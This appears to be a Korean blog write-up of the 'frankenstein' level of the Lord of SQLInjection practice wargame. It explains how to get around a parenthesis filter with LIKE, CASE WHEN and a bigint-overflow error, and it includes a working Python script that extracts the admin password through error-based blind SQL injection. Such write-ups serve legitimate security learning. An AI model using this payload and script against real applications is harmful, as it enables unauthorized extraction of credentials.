본문 바로가기
Hacking/LOS : Lord of SQLInjection

LOS : frankenstein

by newbie22 2020. 11. 1.

< frankenstein 문제 모습 >

 

admin의 비밀번호를 알아내는 문제입니다.

 

필터링에 ( 와 ) 있는 것을 통하여 모든 함수를 사용할 수 없는 것을 확인할 수 있습니다. 또한 쿼리에 에러가 발생하면 error을 출력하는 것을 보아 에러 베이스 블라인드로 판단됩니다. 

 

1. substr함수 => like로 우회 가능합니다.

 

2. if 함수 => case when으로 우회 가능합니다.

 

3. 에러 발생에는 제가 알고 있는 것은 서브 쿼리와 bigint 오버 플로우가 있습니다. 이때 서브 쿼리는 괄호를 사용하므로 bigint 오버플로우를 사용하면 될 것 같습니다.

 

따라서 코드는 다음과 같습니다.

 

더보기
import requests

#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}

#기본 설정
password = ""

#pw 구하기
while(1) :
    check = 1
    for i in range(48,127) :
        parameter = "?pw=' or id='admin' and case when pw like \""+password+chr(i)+"%\"then 0xffffffffffffffff*0x2 end--+-"
        
        url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php' + parameter
        
        res = requests.get(url=url, timeout = 10, cookies=cookies)
        
        search = "error"
        result = res.text.find(search)
        
        #쿼리 에러 발생O : 위치 180 대
        #쿼리 에러 방생X : 위치 2500 대
        
        if result != -1 and result < 1000 : 
            print("p : "+chr(i))
            password = password + chr(i)
            check = 0
    if check == 1 :
        break
        
print("password : "+password)

 

< 실행 결과 >

여기서 mysql 특징상 대소문자를 구분하지 않으므로 영문자가 7자리이므로 2의 7승만큼 바꿔가면서 돌리면 풀 수 있습니다.

 

사실 지금까지 푼 문제의 모든 답이 소문자임을 봤을 때 모든 영문자를 소문자로 바꾸면 풀 수 있습니다.

 

< 클리어 >

 

'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글

LOS : ouroboros  (0) 2020.11.04
LOS : phantom  (0) 2020.11.02
LOS : blue_dragon  (0) 2020.10.31
LOS : red_dragon  (0) 2020.10.30
LOS : green_dragon  (0) 2020.10.28